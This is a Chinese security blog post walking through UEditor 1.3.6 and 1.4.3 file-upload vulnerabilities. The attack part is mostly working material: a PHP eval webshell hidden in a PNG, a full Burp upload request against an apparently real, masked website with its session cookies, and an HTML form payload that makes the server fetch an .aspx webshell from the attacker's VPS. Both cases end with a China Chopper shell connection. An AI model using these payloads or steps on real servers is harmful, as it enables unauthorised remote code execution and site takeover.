最近遇到了两个版本的ueditor文件上传漏洞,因此记录一下。
ueditor 1.3.6
这个版本下的漏洞,是位于本地图片上传这个位置。
使用谷歌浏览器复现的时候,要注意一个细节
所以可以使用低版本的谷歌浏览器继续复现,也可以使用IE复现。
通过网站技术分析插件Wappalyzer可知网站建站语言是php
随便输入一个目录,根据报错可知网站中间件为apache
另外,使用module模式与php结合的所有版本 apache存在未知扩展名解析漏洞。
从右往左开始解析该文件,没有解析成功,则继续解析,直到解析成功。
此时制作一个图片马
配置代理,开启burpsuite,然后上传该图片马,抓包。
抓到的数据包如下:
POST /ueditor/php/imageUp.php HTTP/1.1Host: www.xxxx.comConnection: closeContent-Length: 834Cache-Control: no-cacheOrigin: https://www.xxxx.comX-Requested-With: ShockwaveFlash/32.0.0.453User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36Content-Type: multipart/form-data; boundary=tgxgljmoyirwwdctkcttntfyioorjtxmAccept: */*Referer: https://www.xxxx.com/ueditor/dialogs/image/imageUploader.swfAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: PHPSESSID=ud70jr1rv03cse9kqoq4b0qpq2; TS0169935b_26=015c88f537abd2526d6990620dd57fed56a99cc9b4256304b3a12dd274265c3a56091b26fd142e079f9a684ca2138a42c11416129f8ff5755d2b760a1cf4d948e3332c972b; TS0169935b=018ca83e5d0cde8d11a8b26237a5bc755718154b5cf4f5f17715e5755c5020951da0ff7dc116ab9c80b1a99598d295eb874c73902b3c0ee3acbeb161c1788fcc95c1bc8c72--tgxgljmoyirwwdctkcttntfyioorjtxmContent-Disposition: form-data; name="Filename"hrsec.php.jpg--tgxgljmoyirwwdctkcttntfyioorjtxmContent-Disposition: form-data; name="dir"upload1--tgxgljmoyirwwdctkcttntfyioorjtxmContent-Disposition: form-data; name="fileNameFormat"{time}{rand:6}--tgxgljmoyirwwdctkcttntfyioorjtxmContent-Disposition: form-data; name="pictitle"hrsec.php.jpg--tgxgljmoyirwwdctkcttntfyioorjtxmContent-Disposition: form-data; name="fileName"hrsec.php.jpg--tgxgljmoyirwwdctkcttntfyioorjtxmContent-Disposition: form-data; name="upfile"; filename="hrsec.php.jpg"Content-Type: application/octet-stream�PNG<?php @eval($_POST['hrsec']); ?>--tgxgljmoyirwwdctkcttntfyioorjtxmContent-Disposition: form-data; name="Upload"Submit Query--tgxgljmoyirwwdctkcttntfyioorjtxm--
放包后,上传成功,并找到马的路径
尝试拼接路径,发现路径错误
审计源码,F12后,发现上传图片的路径
然后修改拼接。浏览器访问,发现该马存在。
打开菜刀,选择语言是php,输入密码,连接马成功
ueditor 1.4.3
这个漏洞,之前复现过一次,因此我就直接从copy我自己之前写的复现文章了。
漏洞存在点:
http://localhost/ueditor/net/controller.ashx?action=catchimage&encode=utf-8
漏洞原因:controller.ashx文件下只校验ContentType而没校验文件后缀导致getshell。
payload如下,并保存为html格式
<form action="http://localhost/ueditor/net/controller.ashx?action=catchimage&encode=utf-8"enctype="application/x-www-form-urlencoded" method="POST"> shell addr: <input type="text" name="source[]" /> <input type="submit" value="Submit" />form>
然后在自己的VPS上启动一个简易的HTTP服务,并传马(可以不用图片马,直接改后缀名为jpg)
python -m SimpleHTTPServer 80
访问自己的VPS即可看见服务已经启动。
打开上面含payload的html文件
然后文本框中添加下面的链接,X.X.X.X是VPS地址
http://X.X.X.X/apsx.jpg?.aspx
点击提交
菜刀连接
服务器这边的记录
日常和我Lsky师傅玩(自己的服务器)。
最后,帮我Lsky师傅打个小广告
网络系大四创业团队
广州新云信息科技有限公司
END

有问题随时私聊
微信号:jiangdaren000
(欢迎各位师傅加好友探讨)